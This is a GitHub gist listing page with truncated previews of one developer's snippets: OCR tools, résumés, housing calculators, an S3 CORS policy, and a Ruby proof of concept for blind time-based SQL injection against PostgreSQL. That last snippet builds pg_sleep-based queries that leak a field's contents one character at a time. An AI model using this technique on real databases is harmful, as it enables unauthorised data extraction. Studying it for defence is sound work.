derwiki’s gists

derwiki / timecollapse.py

Created January 23, 2018 04:47

	import numpy as np
	import cv2

	filenames = ["file1.jpg", ... ]
	columns = []

	for i, filename in enumerate(filenames):
	img: np.array = cv2.imread(f"p/{filename}")
	height: int = len(img)
	width: int = len(img[0])

derwiki / derwiki-resume-jan-2018.txt

Created January 18, 2018 21:04

	A D A M D E R E W E C K I
	Potrero Hill, San Francisco 740-502-3073
	[email protected] github.com/derwiki

	== P R O F E S S I O N A L E X P E R I E N C E ==
	Lyft - San Francisco, CA
	Engineer (11/2017 - Present)
	* Python/React for Passenger Growth team

	Certain Lending - San Francisco, CA

derwiki / derwiki-resume-oct-2017.txt

Last active October 10, 2017 18:18

	A D A M D E R E W E C K I
	Potrero Hill, San Francisco 740-502-3073
	[email protected] github.com/derwiki

	== P R O F E S S I O N A L E X P E R I E N C E ==
	Certain Lending - San Francisco, CA
	Senior Engineering Contractor (9/2017 - Present)
	* Building first version of product in node.js

	Coderpad - San Francisco, CA

derwiki / fremont-vs-newark.log

Created September 7, 2017 18:41

	Adams-MacBook-Pro:~ adam$ ping speedtest.fremont.linode.com
	PING speedtest.fremont.linode.com (50.116.14.9): 56 data bytes
	64 bytes from 50.116.14.9: icmp_seq=0 ttl=58 time=7.676 ms
	64 bytes from 50.116.14.9: icmp_seq=1 ttl=58 time=7.538 ms
	64 bytes from 50.116.14.9: icmp_seq=2 ttl=58 time=8.682 ms
	64 bytes from 50.116.14.9: icmp_seq=3 ttl=58 time=7.110 ms
	64 bytes from 50.116.14.9: icmp_seq=4 ttl=58 time=6.924 ms
	64 bytes from 50.116.14.9: icmp_seq=5 ttl=58 time=7.911 ms
	^C
	--- speedtest.fremont.linode.com ping statistics ---

derwiki / ghostscript-resolution-comparison

Created March 31, 2017 21:30

OCRing PDFs using Ghostscript and Google Cloud Vision

	$ for x in 100 200 225 250 300 ; do echo $x; gs -sDEVICE=jpeg -DBATCH -dNOPAUSE -r$x -sOutputFile=warren.jpg -dLastPage=1 -dFirstPage=1 warren.pdf 1>/dev/null ; jpeginfo warren.jpg; done
	100
	warren.jpg 856 x 1400 24bit JFIF N 80332
	200
	warren.jpg 1712 x 2800 24bit JFIF N 240411
	225
	warren.jpg 1926 x 3150 24bit JFIF N 284315
	250
	warren.jpg 2140 x 3500 24bit JFIF N 337588
	300

derwiki / google_cloud_vision_ocr_pdf_service.rb

Last active May 31, 2018 08:54

`GoogleCloudVision::OcrPdfService.new('path/to/document.pdf').perform` yields each page's text.

	require 'google/cloud/vision'

	def log(s); puts s; end

	module GoogleCloudVision
	class OcrPdfService
	attr_accessor :pdf_filename

	def initialize(pdf_filename)
	fail "GOOGLE_CLOUD_KEYFILE env variable required" unless ENV['GOOGLE_CLOUD_KEYFILE']

derwiki / CORS-AWS-S3-PDF.js.xml

Created February 15, 2017 23:57

Sample Cross-Origin Resource Sharing (CORS) Policy to allow PDF.js to read PDFs from an AWS S3 bucket.

	<?xml version="1.0" encoding="UTF-8"?>
	<CORSConfiguration xmlns="http://s3.amazonaws.com/doc/2006-03-01">
	<CORSRule>
	<AllowedOrigin>*</AllowedOrigin>
	<AllowedMethod>GET</AllowedMethod>
	<AllowedMethod>HEAD</AllowedMethod>
	<MaxAgeSeconds>3000</MaxAgeSeconds>
	<AllowedHeader>Range</AllowedHeader>
	<AllowedHeader>Authorization</AllowedHeader>
	<ExposeHeader>Accept-Ranges</ExposeHeader>

derwiki / mortgage_overpay_calculator.rb

Created February 5, 2017 18:21

How does overpaying your mortgage affect equity earned over 7 years?

	PROPERTY_TAX_RATE = 0.015
	home_value = 1_000_000.0
	deposit = 500_000
	#loan_amount = home_value - deposit
	yearly_property_tax = home_value * PROPERTY_TAX_RATE
	monthly_property_tax = yearly_property_tax / 12.0
	monthly_property_tax_adjustment = monthly_property_tax * 0.36

	principal = 500_000.0
	monthly_interest_rate = 0.03 / 12

derwiki / historical_housing_prices_analyzer.rb

Last active May 31, 2018 08:55

Using historical housing price data for an area, determine the minimum appreciation for every year interval

derwiki / blind-sql-time-based-attack.rb

Last active April 23, 2019 12:30

Blind time-based SQL injection attack, proof of concept (with PgHero)

	# More information available at https://www.owasp.org/index.php/Blind_SQL_Injection
	POSITIVE_DELAY = 2

	CHARS = ('A'..'Z').to_a + ('a'..'z').to_a + ('0'..'9').to_a

	def query(table, field, id, char, pos)
	%Q[SELECT CASE WHEN substr(#{field}, #{pos}, 1) = \'#{char}\' THEN pg_sleep(#{POSITIVE_DELAY}) ELSE NULL END FROM #{table} WHERE id = #{id} ;]
	end

	def timeit

Adam Derewecki derwiki